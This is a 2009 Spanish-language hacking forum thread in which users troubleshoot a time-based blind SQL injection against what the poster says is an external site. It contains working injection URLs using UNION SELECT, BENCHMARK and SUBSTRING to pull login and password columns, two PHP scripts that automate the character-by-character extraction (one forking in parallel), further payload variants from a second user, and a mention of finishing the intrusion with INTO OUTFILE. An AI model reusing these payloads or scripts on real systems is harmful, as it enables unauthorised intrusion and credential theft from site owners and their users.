Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas

Iniciado por OzX, 1 Febrero 2009, 19:24 PM

0 Miembros y 1 Visitante están viendo este tema.

OzX

Hi
;D


Espero que alguie me pueda dar un cable.

Mi Problema es el Sguiente


Tengo una Inyeccion Time-based Blind SQL; que me funciona de maravillas.

CitarDato = es lo mismo que hacer 2+and+1=0+union+select+all+1,2,3,4,5,6,7,8,9/* <= INY NORMAL.

Código (sql) [Seleccionar]
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),0,1)/**/=/**/CHAR(%2297%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+bd.tabla+where+id=1+limit+0,1/*

Cuando es Falso tiene un Retorno de 4 a 7 segundos y cuando es verdadero tiene un deface de mas de 15 seg, entre 20 a 21 segundos.

Codie una tool para este fallo, q me permite automatizar todo, lo posteo por si alguien luego nececita algun cable con esto.

php script.php 1 97 //Empieza del 2 caracter a buscar desde la letra a
Código (php) [Seleccionar]
set_time_limit (0);
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if (!$html = curl_exec($curl)) {
$html = file_get_contents($url);
}
curl_close($curl);
return $html;
}



$v = $argv[2]; //desde donde empieza el ansii
$limit = $argv[1]; // valor q obtener, el primero, segundo tercer caracter , 1,2,3

for($x=$v;$x<=122;$x++){
$starttime=time();
echo "[+] Testing :>  ".$x."   =================>     ".chr($x);

$source = GET("http://www.site.com/bug=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),".$limit.",1)/**/=/**/CHAR(%22".$x."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+0,1/*");

$endtime=time();

$difftime=$endtime - $starttime;
echo "              DIFERENCIA  -> ".$difftime."\r\n";
if ($difftime >15){ //Tiempo max de Respuesta TRUE
system("clear");
echo "              DIFERENCIA  -> ".$difftime."\r\n";
echo " #####################ENCONTRADO [ ANSII[".$x."]    ".$limit."   ] ===> ".chr($x)."\r\n";
exit();
}

}




buenooo. ahora bien obtengo todos los datos que nececito, pero me surgio un gran drama, la pass y el user es case sentitive, por lo cual nececito ver si son mayusculas o minisculas, pero el blind me tira la misma cantidad de tiempo cuando es una A mayusculas que cuando es una a miniscula, y nose porque, 115 (s) y 83(S), son 2 numeros distintos pero de igual forma, me dice que es verdadero.

Citarozx@OzX:~/Escritorio$ php adminblind.php 1  115
  • Testing :>  115   =================>     s              DIFERENCIA  -> 20
                  DIFERENCIA  -> 20
    #####################ENCONTRADO [ ANSII[115]    1   ] ===> s
    ozx@OzX:~/Escritorio$ php adminblind.php 1 83
  • Testing :>  83   =================>     S              DIFERENCIA  -> 21
                  DIFERENCIA  -> 21
    #####################ENCONTRADO [ ANSII[83]    1   ] ===> S

¿Como podria atravez de la Iny indentificar si es LOWER o UPPER ?


taba provando algunos SELECT+IF+LOWER, y UPPER, pero la iny se me va al carajo..

Alguna idea?

Saludos¡

nacho87

estas seguro de que el sistema es case sensitive? porque si te reconoce como iguales un char en mayusculas y otro en minusculas es porque al sistema le da igual una que otra.
No se si estas haciendo las pruebas en tu sistema o en alguno que conozcas y conoces el resultado que te debería dar pero sino, no puede ser que te esté dando el hash del password, que éste si sea indiferente entre minusculas y mayusculas?

OzX

Completamente seguro que es case.
es un site externo.

pues creo que el problema esta , en la misma inyecion, porque creo el traspaso directo con char(number), por lo cual testeare con la otra forma, ansii(substring... etc.

Si me va bien cuento q tal ¡

OzX

lo solucione xd¡
aunque no de la mejor forma.
tenia magic quotes off, y privilegios de Y , Into OUT FIle, y ya fue historia xD¡.
de todas formas es bastante particular el time based.

Saludos¡

berz3k


ansii(substring... etc.


duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.

OzX

Cita de: berz3k en  5 Febrero 2009, 05:57 AM

ansii(substring... etc.


duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.


jawjwajwaj XD
ascii(substring(( :D 


Código (php) [Seleccionar]

http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*


:D asi me resulto, osea asi me indentificaba las mayus de las minus.
pero logre obtener lo que queria con into out file, al tener magic quotes off y permisos Adecuados


Por si alguien le Podria Interesar o ser Util en algo, dejo el code que utilize.


Código (php) [Seleccionar]
<?
//Coded by OzX http://foro.undersecurity.net
set_time_limit (0);
error_reporting(0);

function hexsql($text){return '0x'.strtoupper(bin2hex($text));}
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if (!$html = curl_exec($curl)) {
$html = file_get_contents($url);
}
curl_close($curl);
return $html;
}
function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}


function blind_time($limit,$file,$db,$tabla,$columna){
$ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z
47,32,0, //null, space, _, ,
        48,49,50,51,52,53,54,55,56,57, #0-9
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,      #A-Z
33,35,36,37,38,45,46 
);

for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$char = $ascii[$x];
$starttime=time();
echo "[+] ".$limit ." >>> Testing :>  ".$char."   =================>     ".chr($char)."\r\n";
$source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*");

$endtime=time();
$difftime=$endtime - $starttime;
//echo "              DIFERENCIA  -> ".$difftime."\r\n";
if ($difftime >15){
$info = $limit . ">".chr($char)."\n";
$string.= chr($char); //Obtenemos el Valor y lo Guardamos
echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}
}
}



$limit = $argv[2];
$start = $argv[1];
//$db = $argv[3];
//$tabla = $argv[4];
//$columna = $argv[5];




$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$limit;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
    blind_time($i,$file,$db,$tabla,$columna);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "TABLA :> ".$tabla."   COLUMNA :>> ".$columna."\r\n";
echo "Valor Obtenido :> ".$data."\r\n";
echo "DEBUG :>\r\n";
print_r($vars);
unlink($file);


?>


los saca como el diablo, bastante rapido, para ser un time blind, porque si se hace letra a letra se demora bastante.

Saludos¡
OzX¡


berz3k


berz3k

Me gusta tu code PHP te ha quedado muy wuapo, sin embargo estoy trasteando cada vez mas en PHP, ahora el string a testear es el siguiente (manualmente) :


http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=95
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=96
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=97


Para solo cuestiones de prueba y ver su funcionamiento en PHP a traves de tu code he intentado algunas cosas, vaya que lo tengo hecho en PERL y me funciona correctamente, pero me estoy enamorando de PHP por su facilidad de programar XD

Segun yo, y solo para pruebas podria ser:

$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null)+from+users+limit+0,1/*");


o Tambien

$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))))+from+users+limit+0,1/*");


Mmm algo anda mal, probare mas tarde, ideas OzX?

Ejempo TABLA

+++++++++++++++++++++++++++++++++++++++++
| users |
+++++++++++++++++++++++++++++++++++++++++
| id |      name | password |
+++++++++++++++++++++++++++++++++++++++++
|  1 | administrator | 1234%&_ |
|  2 | |
|  3 | |
+++++++++++++++++++++++++++++++++++++++++


Aunque podria agregar la funcion ASCII(SUBSTRING etc etc)+from+users, pero no tendria caso los arrays que declaro OzX.

-berz3k.








OzX

Hi Brota :D


Codie esta tool para una inyeccion tipo
union+select+all+1,2,3,4,5,6,7,8,9.

Citar
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"

Por eso los 9 null.

Ahora voy a montar un LocalHost , con un falla de blind con los mismos datos, y posteo el code modificado y ver en k taba fallando :D.

Saludos¡


berz3k

@OzX

Yep. tambien elimine los "nulls" no necesarios, algo me falta..., ando metido en muchas cosas, espero fixear parte de tu code en esta semana, seguramente me lo fixeas antes tu XD, es el mismo proposito pero sin usar el ASCII(substring etc etc) ya que tomara los arrays de tu code, que previamente haz declarado para MAYUSCULAS, MINUSCULAS, chars etc.

-berz3k.